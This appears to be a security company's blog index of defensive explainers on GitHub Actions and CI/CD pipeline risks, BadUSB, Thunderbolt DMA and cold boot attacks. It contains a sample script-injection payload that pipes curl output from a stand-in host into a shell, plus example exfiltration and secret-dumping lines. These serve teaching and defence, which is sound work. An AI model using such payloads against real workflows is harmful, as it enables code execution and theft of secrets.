Category: Deep Dives

Long form technical deep dives into one mechanism at a time: cloud, kernel, IoT, and privacy internals.

  • GitHub Actions Security Explained

    GitHub Actions Security Explained

    A CI workflow is code that runs on every push, and like any code it can be tricked into doing something it should not. GitHub Actions security is about the gap between what a workflow author thinks a job does and what an attacker can make it do with a crafted pull request, branch name, or issue title. This post walks through the five ways a workflow on GitHub turns exploitable, shows a small vulnerable job, and gives the fix for each one.

    Why GitHub Actions security is easy to get wrong

    A workflow file looks like a config, so people read it like a config. But a job runs on a machine with a token, sometimes with your secrets in the environment, and it often runs code that came from outside your team. The moment untrusted input meets a privileged run step, you have a real vulnerability. The five patterns below cover most of what goes wrong.

    • The pull_request_target trigger that runs with write access while checking out untrusted code.
    • Script injection through workflow expressions that paste attacker text into a shell.
    • A GITHUB_TOKEN that has far more permission than the job needs.
    • Third party actions pinned to a floating tag instead of a commit SHA.
    • Secrets that leak to pull requests opened from forks.

    The pull_request_target trap

    The pull_request trigger runs in a restricted context: a fork’s pull request gets a read only token and no access to your secrets. That is the safe default. The pull_request_target trigger is different. It runs in the context of the base repository, so the job gets a read write token and can read your secrets, even when the pull request comes from a stranger’s fork.

    That alone is fine, because pull_request_target checks out your trusted base branch by default. The danger is when a workflow uses that privileged trigger and then explicitly checks out the attacker’s code:

    name: build-pr
    on: pull_request_target
    jobs:
      build:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v4
            with:
              ref: ${{ github.event.pull_request.head.sha }}
          - run: npm install && npm run build

    Now the job runs a stranger’s npm install scripts with a write token and your secrets in reach. A malicious pull request ships a package.json install hook that reads GITHUB_TOKEN and pushes a commit, or exfiltrates a deploy key. This is the classic shape of poisoned pipeline execution, and you can read a deeper treatment in poisoned pipeline execution.

    The fix

    If the job does not need write access or secrets, use plain pull_request. If you genuinely need to run something privileged, split it: one unprivileged workflow builds the untrusted code and uploads an artifact, and a separate trusted workflow handles anything that touches secrets. Never check out and run fork code inside a pull_request_target job.

    Script injection through workflow expressions

    GitHub expands ${{ ... }} expressions before your shell ever sees the line. So this run step does not echo a variable. It pastes the raw title of the pull request straight into the script that runs on the runner:

    - run: echo "New PR: ${{ github.event.pull_request.title }}"

    An attacker sets the title of their pull request to something like a"; curl evil.example | sh; echo ". After expansion the runner executes an attacker chosen command. The same problem exists for any field a stranger controls: branch names, commit messages, issue bodies, review comments. These are all untrusted input that the expression engine will happily inline.

    Any ${{ }} value that a person outside your team can set is untrusted input, and pasting it into a run step is the same class of bug as SQL injection.

    The fix

    Never inline an untrusted expression into a shell line. Bind it to an environment variable, then reference the variable with normal shell quoting so the value stays data and never becomes code:

    - env:
        PR_TITLE: ${{ github.event.pull_request.title }}
      run: echo "New PR: $PR_TITLE"

    Now GitHub sets PR_TITLE as a plain string in the environment. The shell reads it as one quoted value. The title a"; curl evil.example | sh; echo " is printed as text, not run.

    Over broad GITHUB_TOKEN permissions

    Every workflow run gets an automatic GITHUB_TOKEN. Depending on repository settings, its default scope can be read and write across the whole repository. A job that only needs to read code should not hold a token that can push branches, edit issues, or publish packages. If that job is ever compromised through one of the patterns above, the blast radius is whatever the token can do.

    Set the permission to the least the job needs, at the top of the workflow or per job:

    permissions:
      contents: read

    Start from nothing and add back only what a step actually uses. A job that comments on a pull request adds pull-requests: write and nothing else. This is the single change that limits damage when something else fails.

    Unpinned third party actions

    When you write uses: some/action@v3, the tag v3 is a moving pointer. The owner of that action, or anyone who compromises their account, can move v3 to point at new code, and your next run executes it with your token and secrets. You reviewed one version and silently got another.

    Pin third party actions to a full commit SHA, which is immutable, and keep the tag in a comment for humans:

    - uses: some/action@e3b0c44298fc1c149afbf4c8996fb924 # v3.1.0

    A SHA cannot be moved under you. To stay current, let a bot open pull requests that bump the SHA, so every update is a diff you review before it runs. First party actions from actions/ carry less risk, but pinning them is still the safer habit.

    Secrets exposed to forks

    Secrets are the prize. A deploy key, a cloud credential, or a package registry token in a workflow environment is exactly what an attacker wants out of your CI. Two rules keep them safe. First, GitHub already withholds secrets from pull_request runs on forks, so do not defeat that by moving fork handling into pull_request_target. Second, treat every secret as reachable by any code the job runs, including dependency install scripts and third party actions, so never run untrusted code in a job that holds a secret.

    Watch for the quieter leak too. A secret that gets committed to the repository, even briefly, lives on in the history where a workflow no longer guards it. For that problem see secrets in git history.

    A short checklist

    Here is a concrete before and after. The vulnerable job below uses the privileged trigger, inlines an untrusted title, and holds a wide token:

    on: pull_request_target
    jobs:
      greet:
        steps:
          - run: echo "Thanks ${{ github.event.pull_request.title }}"

    The fixed job drops the trigger, quotes the value through an env var, and narrows the token:

    on: pull_request
    permissions:
      contents: read
    jobs:
      greet:
        steps:
          - env:
              TITLE: ${{ github.event.pull_request.title }}
            run: echo "Thanks $TITLE"

    The habits that hold across all five patterns:

    • Least privilege token. Default to contents: read and add scopes one at a time.
    • Pin actions by SHA. Never trust a floating tag for third party code.
    • Never mix untrusted code and secrets in the same job.
    • Validate and quote inputs. Route every attacker controlled expression through an env var.

    These same ideas apply to runners you host yourself, which have their own exposure covered in self-hosted runner security, and to the wider pipeline discussed in CI/CD pipeline security. For more teardowns of this kind, browse our deep dives.

    Most of these bugs come from an assumption the workflow author never wrote down: that a title is just text, that a tag stays put, that a token is harmless. Testing the assumptions an application makes, rather than a fixed list of payloads, is exactly the kind of work an autonomous researcher is built for, and you can read how we think about it on our about page.

    Frequently asked questions

    What is the difference between pull_request and pull_request_target?

    The pull_request trigger runs a fork’s code in a restricted context with a read only token and no secrets, which is the safe default. The pull_request_target trigger runs in the base repository context, so the job gets a read write token and can read your secrets even for a stranger’s pull request. It becomes dangerous when a workflow uses it and then checks out the fork’s untrusted code.

    How does script injection happen in a GitHub Actions workflow?

    GitHub expands ${{ ... }} expressions before the shell sees the line, so a run step that inlines ${{ github.event.pull_request.title }} pastes the raw title into the script. An attacker sets a title like a"; curl evil.example | sh; echo " and the runner executes their command. The fix is to bind the value to an environment variable and reference it with normal shell quoting so it stays data.

    Why should I pin GitHub actions to a commit SHA instead of a tag?

    A tag like v3 is a moving pointer. The action’s owner, or anyone who compromises their account, can move it to point at new code that runs with your token and secrets, so you review one version and get another. A full commit SHA is immutable and cannot be changed under you. Keep the tag in a comment and let a bot open pull requests that bump the SHA so every update is reviewed.

    How do I stop GitHub Actions secrets from leaking to forks?

    GitHub already withholds secrets from pull_request runs on forks, so do not defeat that by moving fork handling into pull_request_target. Treat every secret as reachable by any code the job runs, including dependency install scripts and third party actions, so never run untrusted code in a job that holds a secret. Also keep the automatic GITHUB_TOKEN scoped to the least the job needs.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • CI/CD Pipeline Security Explained

    CI/CD Pipeline Security Explained

    Your build and deploy pipeline is one of the most valuable targets in your whole stack, and it rarely gets the attention it deserves. Good CI/CD pipeline security matters because the pipeline holds your secrets, runs with broad permissions, and ships output that every downstream system trusts on sight. This post walks the main risk areas at a survey level, gives one concrete example for each, and names the defense, then points you to the deep dives that go all the way down.

    Why CI/CD pipeline security is a high value target

    Think about what a build job can touch. It reads your private source code. It holds tokens that push to your registry, deploy to production, and comment on pull requests. It signs releases. Then it produces an artifact, a container image or a package, that your servers pull and run without asking a single question. An attacker who lands inside a build gets all of that at once.

    The trust is the real prize. If someone slips a change into what your pipeline outputs, every machine that pulls that output runs the change for them. No phishing, no lateral movement, just one poisoned build that fans out everywhere.

    The pipeline is the shortest path from one line of attacker code to every server you own, because everything downstream already trusts what it produces.

    The good news is that the risk areas are well understood, and each one has a plain defense. Here they are, one at a time.

    Untrusted input running in a privileged build

    The most common opening is a pull request from outside your team. Many pipelines build and test pull requests automatically, which means code you did not write runs on your infrastructure the moment it is proposed. If that build has access to secrets, a contributor can add one line to a build script and read them.

    Here is the shape of the problem. A workflow runs a script the pull request itself controls:

    on: pull_request
    jobs:
      test:
        runs-on: ubuntu-latest
        steps:
          - uses: actions/checkout@v4
          - run: ./scripts/test.sh   # this file comes from the fork

    Whoever opened the pull request wrote test.sh. If the job can see a deploy token, their script can print it, encode it, and send it out. This class of bug is called poisoned pipeline execution, and it is worth understanding on its own. The defense: run untrusted pull requests in a job with no secrets and read only permissions, and require a human to approve before any privileged step touches fork code. Read the full walkthrough in poisoned pipeline execution.

    Secrets exposed to jobs

    Pipelines run on secrets, so secrets end up scattered across them: registry passwords, cloud keys, signing tokens. The mistake is handing every job the whole set. A test job that only needs to run unit tests does not need production deploy keys, but it often gets them because the secrets sit at the top of the file for all jobs to share.

    A single leak makes this concrete. A build step logs its environment for debugging:

    - run: env | sort   # prints AWS_SECRET_ACCESS_KEY into the build log

    Now the key sits in a log that many people can read, and logs are easy to forget. The defense: scope each secret to the one job that needs it, never the whole workflow, and mask secrets in logs. Rotate anything that a build has ever printed. A related trap is secrets that were committed to the repository long ago and are still sitting in the git history where a build, or anyone with clone access, can find them. That is its own topic in secrets in git history.

    Dependency and package risk entering the build

    Every build pulls in code from outside. Your package.json or requirements.txt lists direct dependencies, and each of those drags in more, until a small app installs hundreds of packages nobody on your team has read. Any one of them runs during the install, which is exactly when a malicious package strikes.

    The classic version uses a lifecycle script. A package defines an install hook that runs on its own:

    "scripts": {
      "postinstall": "node exfil.js"
    }

    The moment you run npm install, that script executes with whatever access the build has. No import, no call, just installing the package is enough. The defense: pin dependencies to exact versions with a lockfile so a package cannot change under you, review new additions, and consider disabling install scripts where you can. The mechanics are laid out in malicious npm lifecycle scripts.

    Self-hosted runner exposure

    Hosted runners are fresh and thrown away after each job. A self-hosted runner, a machine you own that picks up build jobs, is different. It is long lived, it may sit inside your network, and if you are not careful it reuses state between jobs. That combination is dangerous when it also builds untrusted pull requests, because one job can leave something behind for the next one to find, or reach systems that should never be reachable from a build.

    Picture a runner in your office network that builds public pull requests. A contributor’s build runs a quick scan:

    - run: curl http://10.0.0.5:8500/v1/kv/?recurse   # internal service, now reachable

    A machine that should only compile code just read an internal key value store. The defense: keep self-hosted runners off untrusted pull requests, isolate them from your internal network, and treat each job as disposable by rebuilding the environment every time. Ephemeral runners that are destroyed after one job remove most of this risk.

    The trust placed in build artifacts

    The last area is the output itself. When your pipeline pushes an image tagged latest to a registry, your servers pull it and run it. Nothing checks that the image came from a clean build of the code you think it did. If an attacker can push to that registry, or tamper with a build, the bad artifact inherits all the trust of a good one.

    A concrete gap: your deploy pulls registry.example/app:latest by tag. Two builds can produce that same tag, and the servers cannot tell a real one from a swapped one. The defense: generate provenance for every build, a signed record of what was built, from which commit, by which pipeline, and verify that record before you deploy. Pin to content digests, not moving tags, so you always run the exact bytes you meant to.

    Putting it together

    None of these defenses are exotic. Least privilege tokens, secrets scoped to one job, pinned dependencies, isolated runners, and signed provenance are all things you can start on this week. The reason they get skipped is that a pipeline feels like plumbing, not like an attack surface, right up until it is the thing that gets used. Treat it as production, because it has production’s keys.

    Each area above is a survey. The real detail lives in the dedicated posts, and the platform specific traps in GitHub Actions security are worth a full read if that is where you build. For the longer teardowns of how these bugs actually get exploited and fixed, browse our deep dives.

    Pipelines break in exactly the way UnboundCompute is built to study: not a known payload, but an assumption the system quietly trusts, like a build believing its input is safe. That is the kind of gap an autonomous researcher that tests assumptions goes looking for, and you can read how we think about it on our about page.

    Frequently asked questions

    What is CI/CD pipeline security?

    CI/CD pipeline security is the practice of protecting the systems that build, test, and deploy your software. The pipeline holds secrets, runs with broad permissions, and produces artifacts that every downstream server trusts, so a single break can spread everywhere. The main work is limiting what each job can touch, keeping untrusted input away from privileged steps, and verifying what the pipeline ships.

    Why is a build pipeline such a valuable target?

    A build job reads your private source, holds tokens that deploy to production and push to your registry, and produces output that servers pull and run without checking. An attacker who lands inside one build gets all of that at once, and because everything downstream trusts the output, one poisoned build can fan out to every machine that pulls it.

    How do pull requests put a pipeline at risk?

    Many pipelines build and test pull requests automatically, which runs code you did not write on your infrastructure. If that job can see secrets, a contributor can add one line to a build script and read them. The fix is to run untrusted pull requests with no secrets and read only permissions, and to require human approval before any privileged step touches fork code.

    What are the main defenses for CI/CD pipeline security?

    Give each job the least privilege it needs, scope secrets to the single job that uses them, pin dependencies to exact versions with a lockfile, isolate self-hosted runners and rebuild them every job, and generate signed provenance for artifacts so you can verify what you deploy. None of these are exotic, and you can start on all of them this week.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • BadUSB Attack: When a USB Stick Pretends to Be Your Keyboard

    BadUSB Attack: When a USB Stick Pretends to Be Your Keyboard

    A BadUSB attack starts with a device that lies about what it is. It looks like an ordinary flash drive, but the tiny controller chip inside has been reprogrammed to tell your computer it is a keyboard. The moment you plug it in, it starts typing commands on its own, far faster than any person could, and the machine obeys because keyboards are trusted by design. There is no virus file to find, because the trick is not a file at all. It is the device claiming an identity it should never have.

    What does HID mean, and why does your computer trust keyboards?

    HID stands for Human Interface Device. It is the standard category the USB specification uses for the things a person operates directly: keyboards, mice, game controllers, and similar input hardware. When you plug one in, the device introduces itself with a small description of what it is and what it can send. Your operating system reads that description, sees the word keyboard, and loads a generic driver that is already built into the system. No installation, no prompt, no scan. You expect a keyboard to send keystrokes, so a keyboard is allowed to send keystrokes the instant it arrives.

    That trust is deliberate and it is also the whole problem. A keyboard is the one peripheral that is assumed to speak for the human sitting at the desk. Whatever it types, the computer treats as your intent. There is no meaningful check on whether a keyboard is real, whether a human is actually pressing keys, or whether the typing speed makes any sense for a person. The identity a USB device announces is taken at face value, and the identity is exactly what a BadUSB attack forges.

    How a BadUSB attack forges an identity at the firmware level

    Every USB device runs a small piece of software of its own, called firmware, on its controller chip. That firmware decides the descriptor the device shows the host: this is a mass storage device, or this is a keyboard, or both. On many cheap controllers that firmware can be rewritten. Once it is rewritten, the same physical stick that used to say flash drive can instead say keyboard, and it will hold that story every time it is plugged into any machine.

    Picture a made up example. An attacker leaves a plain looking USB stick in the parking lot of an office we will call Acme. A curious employee finds it, plugs it into a work laptop to see who it belongs to, and expects a folder of files. Instead the stick has been reprogrammed. Its firmware announces a keyboard, the laptop loads the trusted keyboard driver without asking, and the device fires off a short burst of keystrokes it had stored on board. To the laptop, a person just sat down and typed very quickly. Nothing about the traffic looks wrong, because as far as the operating system knows, a keyboard did what keyboards do.

    There is no malware to scan for. The attack is the device claiming to be a keyboard, and your computer has no habit of doubting a keyboard.

    Why antivirus does not see it

    Antivirus works by inspecting files and processes for known bad patterns. A BadUSB attack hands it nothing to inspect. The malicious part lives in the device firmware, not on disk, and the firmware never copies a suspect file onto your machine. What reaches the computer is a stream of keystrokes, which is the most normal input a computer can receive. You cannot quarantine a key press. You cannot flag a keyboard as malware without flagging every keyboard.

    This is why the defense cannot be a scanner. The failure is a trust decision made before any file exists: the decision to believe a device’s claim about its own identity. Fixing it means changing who is allowed to become a trusted keyboard, and under what conditions, rather than hunting for something to delete.

    How is this different from juice jacking?

    It is easy to lump every USB threat together, but these are two different problems and the fix for one does not fix the other. Juice jacking is about a charging port or cable that carries data as well as power, so a public charging station could try to pull files off your phone or push something onto it while it charges. It abuses the fact that one USB connector moves both power and data. We cover that risk on its own in juice jacking explained.

    A BadUSB attack is not about power or file transfer. It is about identity. The device is not reading your data or sneaking a file across, it is pretending to be a class of hardware your computer trusts and then acting as that hardware. One is a data over power problem. The other is an identity problem. A data blocker that strips the data pins can help against juice jacking, but a device you deliberately plug in as a keyboard still gets to be a keyboard.

    How do you defend against it?

    • Never plug in a device you did not buy. A found stick, a giveaway drive, a cable of unknown origin. The single most reliable defense is refusing the physical introduction in the first place.
    • Use USB device control and allowlisting. Tools such as USBGuard on Linux let you approve devices by their properties and block everything else by default, so a brand new keyboard appearing out of nowhere is refused rather than trusted.
    • Require confirmation before a new keyboard is trusted. A policy where a freshly connected input device has to be approved by the person at the machine removes the whole point of a device that types the instant it is plugged in.
    • Disable unused USB ports or fit port blockers. If a port does not need to accept input hardware, close it. Fewer open ports means fewer places a forged keyboard can introduce itself.
    • Lock your screen and use short timeouts. A device that types into a locked machine reaches almost nothing. Short idle timeouts shrink the window in which a burst of typed commands can land on a desktop left open.
    • Treat trust as physical, not just digital. The same mindset that governs an evil maid attack applies here: once someone can touch your hardware, software controls alone are not enough.

    Peripherals earn trust by claiming an identity, and that claim is rarely checked. The same theme runs through how Bluetooth LE pairing breaks, where a trusted wireless channel can be set up more loosely than people assume. The lesson under all of it is one worth carrying into software too: an identity a system merely announces is not the same as an identity a system has verified. That gap between assumed trust and proven trust is exactly the kind of assumption we care about testing, and you can read more about how we think on our about page.

    Frequently asked questions

    What is a BadUSB attack?

    It is an attack where the firmware inside a USB device is reprogrammed so the device lies about what it is. A stick that looks like a flash drive tells your computer it is a keyboard, and the moment you plug it in it types a burst of commands the computer trusts, because keyboards are trusted by design.

    What does HID mean and why does it matter here?

    HID stands for Human Interface Device, the USB category for input hardware like keyboards and mice. Your operating system loads a built in driver for a keyboard automatically and lets it send keystrokes right away. A BadUSB attack abuses that trust by announcing itself as a keyboard when it is really something else.

    Why does antivirus not catch a BadUSB attack?

    Because there is no malicious file to scan. The trick lives in the device firmware, and what reaches your computer is a stream of keystrokes, which is the most normal input a machine can receive. You cannot flag a keyboard as malware without flagging every keyboard, so the defense has to be about controlling which devices are trusted, not scanning for files.

    How is a BadUSB attack different from juice jacking?

    Juice jacking is about a charging port or cable that moves data as well as power, so it might read or plant files while your phone charges. A BadUSB attack is not about power or file transfer at all. It is an identity problem, where the device pretends to be a class of hardware the computer trusts and then acts as that hardware.

    How do you defend against a BadUSB attack?

    Never plug in a device you did not buy, especially a found or giveaway stick. Use USB device control and allowlisting such as USBGuard, require confirmation before a new input device is trusted, disable unused ports or fit port blockers, and keep your screen locked with short idle timeouts so typed commands reach almost nothing.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • DMA Attack Over Thunderbolt: Reading Memory Past the Lock Screen

    DMA Attack Over Thunderbolt: Reading Memory Past the Lock Screen

    A DMA attack abuses Direct Memory Access, the feature that lets some peripherals read and write system RAM directly, without asking the CPU for each byte, because that is faster. A malicious device plugged into a Thunderbolt or PCIe port can ride that same channel to read and write memory behind the operating system’s back. It can scrape secrets straight out of RAM, or patch the code that checks the lock screen, while the machine sits locked on a desk. The login prompt never mattered here, because the attack never went near the keyboard.

    What is Direct Memory Access and why does it exist?

    Moving data through the CPU is slow. If a disk controller, a network card, or a graphics card had to interrupt the processor for every chunk of data it copied, the processor would spend most of its time shuffling bytes instead of running programs. Direct Memory Access solves that. The device is handed the ability to talk to main memory on its own, so it reads and writes RAM while the CPU gets on with other work. When the transfer finishes, the device raises one interrupt to say it is done.

    This is a deliberate design and a good one. A high speed capture card writing video frames, or a network card receiving packets, needs to place data in memory fast. The point to remember is what the feature grants: a device that can do DMA is trusted to reach into system memory directly. On a machine that hands out that trust freely, the port becomes a door into RAM.

    How a DMA attack turns a plugged in device into a memory reader

    Thunderbolt is the part that surprises people. A Thunderbolt port is not only a data port. It carries PCI Express, the internal bus that expansion cards sit on, out to a socket on the side of the laptop. A device on that bus is treated much like a card installed inside the case, which means it can be granted the same DMA rights an internal card has.

    So the attacker does not need to break a password. They build or buy a small device that presents itself as a normal peripheral, plug it into the exposed port, and ask the bus for memory. If nothing restricts the request, the device reads whatever addresses it likes.

    With direct reach into RAM, two moves open up:

    • Read secrets out of memory. Disk encryption keys, session tokens, cached passwords, and private data all live in RAM while the machine is on. A device that can read arbitrary memory can copy them out, even though the screen is locked.
    • Write memory to change behavior. The routine that decides whether your password is correct is just bytes in RAM. Overwrite the check so it always returns success, and the lock screen accepts anything you type.

    The lock screen is a question the operating system asks itself in memory. A device that can rewrite that memory gets to answer the question for it.

    A locked laptop on an open desk

    Picture an invented machine, the Acme laptop, left locked on a desk while its owner steps away for coffee. The screen shows a password prompt. Everything looks safe. But a Thunderbolt port on the side is open and active.

    An attacker walks up, plugs a prepared device into that port, and the device requests a sweep of system memory. Because the machine grants DMA to the device without restriction, the request succeeds. In one path the attacker copies the region holding the disk encryption key and walks away with it. In another the attacker locates the password check and patches it in place, then types any password and is let in. The owner returns to a laptop that looks exactly as they left it. Nothing was typed at the prompt, and no keyboard log would show a thing, because the keyboard was never used.

    This is close in spirit to the evil maid attack, where brief physical access to an unattended machine is enough to tamper with it. It also overlaps with the cold boot attack, another route to reading secrets out of memory, though that one chills and reboots the RAM rather than riding a live bus.

    Why the login prompt was never the barrier

    It helps to compare this with a threat that looks similar and is not. In juice jacking, a hostile charging port pushes power and data over USB and tries to trick the operating system into mounting the device or accepting a payload. That attack still goes through the software stack. It knocks on the front door.

    A DMA attack skips the door. It does not send input the operating system will read and validate. It reaches under the operating system and touches memory directly, so the checks that guard the login path are never consulted. That is why a strong password does not help here on its own. The password matters only if something forces the attacker’s device to go through the code that checks it, and raw DMA does not.

    How do you defend against it?

    The fix is to stop trusting a plugged in device with unrestricted memory, and to time that distrust for the moment the machine is most exposed.

    • Turn on the IOMMU. The IOMMU, called Intel VT-d on Intel platforms and given an equivalent name by AMD, sits between devices and memory and translates the addresses a device may use. With it configured, a device sees only the small window it was assigned, not all of RAM. It is the single most important control here, so confirm it is enabled in firmware and used by the operating system.
    • Enable Kernel DMA Protection. On modern systems this feature blocks DMA from Thunderbolt and similar ports until a user has logged in, and keeps blocking newly attached devices while the screen is locked. That closes the exact window in the Acme example, the locked and unattended desk.
    • Set Thunderbolt security levels and require approval. Thunderbolt can be told to require a human to approve each new device before it is granted access, rather than trusting anything inserted. Set the security level so an unknown device gets nothing until someone says yes.
    • Deny DMA before login and while locked. The dangerous moments are the ones with no user present: before boot finishes and whenever the machine is locked. Configure the system so external DMA is refused in both states, and only allowed once an authenticated user is active.
    • Disable ports you do not use. If a laptop never needs Thunderbolt or an external PCIe path, turn it off in firmware. A port that grants no access is not a door at all.

    The theme across all of these is the same. Speed features are safe until they are handed to an untrusted device at an unguarded moment, and the defense is to narrow both what a device can reach and when it is trusted at all.

    This class of problem is about an assumption the machine makes, that a device on the bus is allowed in memory, rather than about a malformed input. That is the kind of hidden assumption an autonomous researcher built to test assumptions, rather than to match known payloads, is meant to probe. You can read more about how we think about that on our about page.

    Frequently asked questions

    What is a DMA attack?

    It is an attack that abuses Direct Memory Access, the feature that lets some peripherals read and write system RAM directly without going through the CPU. A malicious device plugged into a Thunderbolt or PCIe port uses that channel to read secrets out of memory or to patch the lock screen check, all while the machine sits locked.

    Can a DMA attack work while my laptop is locked?

    Yes. That is the point of it. The attack reaches memory directly and never sends input through the login path, so the lock screen is not consulted. A device with unrestricted DMA can copy encryption keys out of RAM or overwrite the password check even though the screen shows a locked prompt.

    Why is Thunderbolt a risk when USB feels safe?

    A Thunderbolt port carries PCI Express out to the side of the machine, so a device on it is treated much like an expansion card inside the case and can be granted the same direct memory rights. Threats like juice jacking still go through the software stack over USB, while a DMA attack goes under the operating system entirely.

    How do I defend against a DMA attack?

    Enable the IOMMU so a device sees only the memory window it was assigned, turn on Kernel DMA Protection so external ports are blocked before login and while locked, set Thunderbolt to require approval for each new device, and disable ports you never use. The goal is to narrow both what a device can reach and when it is trusted at all.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Cold Boot Attack: How Encryption Keys Survive a Power Off

    Cold Boot Attack: How Encryption Keys Survive a Power Off

    A cold boot attack recovers secrets from a computer’s memory after the power is cut, using a physical fact that surprises most people: RAM does not forget instantly. For a short window the bits stay readable, and the most valuable of them is the disk encryption key that a running system keeps in memory so it can work. An attacker with the machine in hand cuts power, boots a tiny program that reads memory back out, and walks away with the key that was supposed to protect an encrypted drive.

    What a cold boot attack actually exploits

    Dynamic RAM stores each bit as a charge in a tiny capacitor. Those capacitors leak, so the chip refreshes every cell many times a second to hold the value. When you remove power the refresh stops, but the charge does not vanish. It drains over a period that ranges from a fraction of a second to several seconds at room temperature, and the pattern of bits stays mostly intact for that whole time. This slow fade is called DRAM remanence, and it is the gap the attack lives in.

    The trick that makes the window longer is temperature. Cold capacitors leak slower. If you chill the memory chips with a can of compressed air held upside down, or colder still, the contents can survive for minutes instead of seconds, long enough to move the chips into another machine and read them there at leisure. That chilling step is where the name comes from.

    A locked laptop that is only asleep is holding its own decryption key in a place an attacker can read.

    Why the disk key sits in RAM in the first place

    Full disk encryption protects data at rest. When the machine is off, the drive is a block of ciphertext and the key is derived from your passphrase or unwrapped by the TPM at boot. But once the system is running it needs to read and write files constantly, and it cannot ask you for the passphrase on every block. So it keeps the master key, or a key derived from it, resident in RAM for the whole session. That is not a bug. It is how the drive stays usable in real time.

    The consequence is the whole point of the attack. A machine that is powered on, even locked, even suspended to RAM, is a machine whose decryption key is loaded and waiting. Sleep does not clear it. The lock screen only blocks the keyboard and mouse; it does nothing to the contents of memory. So the security of an encrypted disk quietly depends on the state the laptop was left in, not just on the strength of the passphrase.

    An example: the Acme laptop left suspended

    Picture a work laptop from an invented company, Acme. An employee closes the lid at an airport gate and the machine suspends to RAM. The drive is encrypted, the login screen is up, and the employee assumes the data is safe because the disk is locked. Someone takes the laptop. Instead of guessing the passphrase, the attacker cuts power, then immediately powers the machine back on into a small purpose built program loaded from USB. That program does one job: copy the raw contents of memory to an external drive. Somewhere in that dump, in a predictable structure, is the disk key. The encryption did its job perfectly and still lost, because the key was sitting in RAM the entire time the lid was closed.

    How the key is found in a memory dump

    A raw memory image is a large, messy blob, but disk encryption keys are not hidden in it well. Cipher key schedules have a recognisable structure, so an attacker scans the dump for byte patterns that match an expanded key and confirms candidates by trying to decrypt a known block. Because remanence is not perfect, some bits in the dump will have decayed to their ground state. Key finding tools account for this by correcting a handful of flipped bits until a valid key falls out. The upshot is that even a partly faded image is often enough.

    The defenses that close the window

    There is no single switch that removes the risk, but several measures each shrink it, and together they close most of the gap. The right mix depends on how exposed the machine is.

    • Shut down instead of sleeping in high risk situations. A full power off gives the memory time to fade and lets the system clear keys on the way out. If a laptop crosses a border or is left unattended, shut it down rather than suspending it. Hibernation writes state to the encrypted disk and powers off, which is safer than suspend to RAM as long as the hibernation image lands on the encrypted volume.
    • Scrub keys on shutdown and reboot. The operating system can overwrite key material with zeroes as it powers down, so a dump taken a moment later finds nothing useful. Wiping memory early in the boot sequence closes the reboot into a tiny program path, because the attacker’s tool arrives to find the secrets already gone.
    • Keep keys out of plain RAM. Some designs hold the key in CPU registers or on chip cache rather than main memory, or seal it in the TPM and release it only under strict conditions. A key that never sits in DRAM cannot be read out of DRAM.
    • Use hardware memory encryption. Modern platforms can encrypt the contents of RAM with a key held inside the memory controller. A dump of the chips then yields ciphertext, and moving the chips to another machine yields noise, because the decrypting key never leaves the processor package.
    • Refuse to boot untrusted code. Boot protections that check the loader before running it stop the classic reboot into a rogue memory dumper. See how secure boot works for the mechanism that verifies each stage before handing over control.

    Where this sits among physical access attacks

    A cold boot attack needs the attacker to hold the machine, which places it in the same family as the evil maid attack, the umbrella for threats that assume brief physical access to a device you left behind. It is a close relative of the DMA attack over Thunderbolt, which reaches the same target, the contents of RAM, but through a fast peripheral port instead of by pulling power. Encrypting the data on the disk is not the finish line; the memory of a running machine is a second copy of your secrets, and it is far softer.

    The common thread across all three is that a defense which looks complete on paper can leave a live copy of the very thing it protects sitting in an easier place. That gap, between what a system claims to secure and what it actually leaves exposed, is exactly the kind of assumption an autonomous researcher built to test assumptions is meant to probe. More about how we think about that on our about page.

    Frequently asked questions

    What is a cold boot attack?

    It is a physical attack that reads secrets out of a computer’s RAM after the power is cut. Because memory chips hold their contents for a short window rather than clearing instantly, an attacker can reboot into a small program, or move the chips to another machine, and dump memory to recover the disk encryption key the running system kept there.

    Why does data stay in RAM after the power is off?

    Dynamic RAM stores each bit as a charge that leaks slowly once the chip stops refreshing it. At room temperature the bits fade over a period from a fraction of a second up to several seconds, and chilling the chips stretches that window to minutes. This slow fade is called DRAM remanence.

    Does full disk encryption stop a cold boot attack?

    Not on its own. A running system keeps the disk key resident in RAM so it can read and write files, so a machine that is powered on, locked, or asleep is holding its own key in memory. The encryption protects the drive at rest, but the key in RAM is a second copy an attacker can read.

    How do you defend against a cold boot attack?

    Shut the machine down fully instead of sleeping in high risk situations, scrub keys to zero on shutdown and early in boot, keep keys in CPU registers or the TPM rather than plain RAM, use hardware memory encryption where the platform supports it, and enable boot protections that refuse to run untrusted code.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Evil Maid Attack: What Brief Physical Access Really Costs You

    Evil Maid Attack: What Brief Physical Access Really Costs You

